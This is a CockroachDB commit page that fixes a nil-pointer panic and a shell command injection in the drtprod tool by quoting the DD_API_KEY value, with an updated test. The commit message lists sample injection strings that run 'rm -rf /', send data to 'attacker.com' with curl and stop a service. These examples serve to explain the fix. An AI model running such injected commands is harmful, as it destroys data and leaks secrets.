Skip to content

Commit 7b799ba

Browse files
craig[bot]nameisbhaskar
andcommitted
Merge #153227
153227: roachtest, drtprod: vulnerability fixes r=golgeek a=nameisbhaskar This PR has fixes for the following issues reported: 1. The `protoutil.Unmarshal` function immediately calls `pb.Reset()` on the provided Message interface (line 70 in marshal.go) Since `payload` is nil, calling `Reset()` on a nil interface will cause a **runtime panic** This is a guaranteed panic - there's no code path where this works 2. The command is passed to `roachprodRun` which ultimately executes it through a shell - My analysis confirms that `roachprod. Run` executes commands via `/bin/bash -c` (local) or through SSH shell (remote) Attack Scenarios ** - `secret; rm -rf /; #` → Would execute `rm -rf /` after setting the environment variable - `secret && curl attacker.com/exfiltrate` → Would make unauthorized network requests - `secret; systemctl stop cockroach; #` → Could disrupt services Epic: None Release note: None Co-authored-by: Bhaskarjyoti Bora <[email protected]>
2 parents fe3f346 + a02dd32 commit 7b799ba

File tree

4 files changed

+8
-5
lines changed

4 files changed

+8
-5
lines changed

pkg/cmd/drtprod/cli/commands/BUILD.bazel

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,7 @@ go_library(
1818
"//pkg/util/syncutil",
1919
"//pkg/util/timeutil",
2020
"//pkg/workload",
21+
"@com_github_alessio_shellescape//:shellescape",
2122
"@com_github_cockroachdb_errors//:errors",
2223
"@com_github_datadog_datadog_api_client_go_v2//api/datadogV1",
2324
"@com_github_spf13_cobra//:cobra",

pkg/cmd/drtprod/cli/commands/yamlprocessor.go

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,7 @@ import (
1717
"sync"
1818
"time"
1919

20+
"github.com/alessio/shellescape"
2021
"github.com/cockroachdb/cockroach/pkg/cmd/drtprod/helpers"
2122
"github.com/cockroachdb/cockroach/pkg/cmd/roachprod/cli"
2223
"github.com/cockroachdb/cockroach/pkg/roachprod"
@@ -305,7 +306,8 @@ func setupAndExecute(
305306
// the DD_API_KEY is added to environment
306307
ddAPIKey := os.Getenv("DD_API_KEY")
307308
if ddAPIKey != "" {
308-
envArg = fmt.Sprintf(" --setenv=DD_API_KEY=%s", ddAPIKey)
309+
// Escape shell metacharacters to prevent command injection
310+
envArg = fmt.Sprintf(" --setenv=DD_API_KEY=%s", shellescape.Quote(ddAPIKey))
309311
}
310312
// Prepare the systemd command to execute the drtprod binary.
311313
executeArgs := fmt.Sprintf(

pkg/cmd/drtprod/cli/commands/yamlprocessor_test.go

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -464,7 +464,7 @@ environment:
464464
runCmds["systemd"][0])
465465
})
466466
t.Run("run command remotely with no failure and DD_API_KEY set", func(t *testing.T) {
467-
_ = os.Setenv("DD_API_KEY", "the_secret")
467+
_ = os.Setenv("DD_API_KEY", `the"test'secret`)
468468
defer func() {
469469
_ = os.Unsetenv("DD_API_KEY")
470470
}()
@@ -529,13 +529,13 @@ environment:
529529
for _, v := range putCmds {
530530
require.Equal(t, 1, v)
531531
}
532-
t.Log(runCmds)
533532
require.Equal(t, 3, len(runCmds))
534533
require.Equal(t, 4, len(runCmds["mkdir"]))
535534
require.Equal(t, 1, len(runCmds["cp"]))
536535
require.Equal(t, 1, len(runCmds["systemd"]))
537-
require.Equal(t, "sudo systemd-run --unit test-monitor --same-dir --uid $(id -u) --gid $(id -g) --setenv=DD_API_KEY=the_secret drtprod execute ./location/to/test.yaml",
536+
require.Equal(t, "sudo systemd-run --unit test-monitor --same-dir --uid $(id -u) --gid $(id -g) --setenv=DD_API_KEY='the\"test'\"'\"'secret' drtprod execute ./location/to/test.yaml",
538537
runCmds["systemd"][0])
538+
t.Log(runCmds["systemd"][0])
539539
})
540540
t.Run("run command remotely with no failure and targets specified", func(t *testing.T) {
541541
f, err := os.CreateTemp("", "drtprod")

pkg/cmd/roachtest/operations/changefeeds/utils.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -73,7 +73,7 @@ func getJobsUpdatedWithPayload(
7373

7474
// Execute query and process results.
7575
err := helpers.ExecuteQuery(ctx, func(rowValues []string) error {
76-
var payload *jobspb.Payload
76+
payload := &jobspb.Payload{}
7777
err := protoutil.Unmarshal([]byte(rowValues[1]), payload)
7878
if err != nil {
7979
return err

0 commit comments

Comments
 (0)